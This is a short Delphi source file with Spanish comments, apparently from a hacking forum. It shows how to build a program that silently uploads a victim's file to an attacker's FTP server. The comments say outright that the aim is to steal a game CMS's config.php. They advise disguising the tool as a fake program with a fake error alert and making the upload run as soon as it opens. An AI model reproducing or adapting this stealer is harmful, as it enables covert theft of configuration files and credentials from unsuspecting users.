Código: Seleccionar todo

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdFTP, IdComponent, StdCtrls;
   // Recuerden aqui alladimos IdFTP y IDComponent , para manejar los eventos y para poder hacer una conexión FTP
   // Deben tener instalada la Libreria Indy
type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
FTP: TidFTP;     // Declaramos la variable FTP
Robar : String; // Declaramos la variable Robar a string
Nombredelrobado : String;   // Declaramos la variable Nombredelrobadoa  string
// Que nos serviran a la hora de subir nuestro archivo
begin
FTP := TIdFTP.Create ( nil );   //Empezamos la sesión FTP, vamos la creamos..
FTP.Username := 'tu usuario del ftp';  // Nuestro usuario del ftp
FTP.Password := 'tu pass del ftp';   // Nuestra contraseña del FTP
FTP.Host := 'el nombre del host de tu ftp';   // y El host o servidor del FTP
try
FTP.Connect;
except
raise Exception.Create ( ' Introduce bien los datós del FTP ' ) ;
{Aqui creamos una excepción diciendo que si FTP.Connect, no conecta por si
los datós de conexión estan mal o no tiene acceso a internet, esto se puede
cambiar por una alerta fake, si usais esto para sustraer archivos y haceis un programa fake
}
end;
FTP.ChangeDir('/Matabarras/');   // aqui el directorio de nuestro ftp donde ira a parar lo que cogems xD
Robar := 'C:\htdocs/inc/config.php';  // La ruta de lo que se subira a nuestro ftp. En este cas sustraemos ilicitamente... el archivo config de la cms de un juego y la subimos
Nombredelrobado := 'config.php'; // y el nombre con el que se guardara en nuestro ftp
FTP.Put( Robar , ExtractFilename(Nombredelrobado), False ); // usamos la función Put para subir el archivo, y usamos las dos variables, Robar y Nombredelrobado para efectuar la subida
FTP.Disconnect; // Después de subirse desconectamos
FTP.Free; // y Limpiamos el FTP
//Fin del código, recuerden que si quieren pueden meter esto en form create , para que se realize la acción nada más abrirse el programa
//Developer: Matabarras
//Agradecimientos : InmortalHS
end;
end.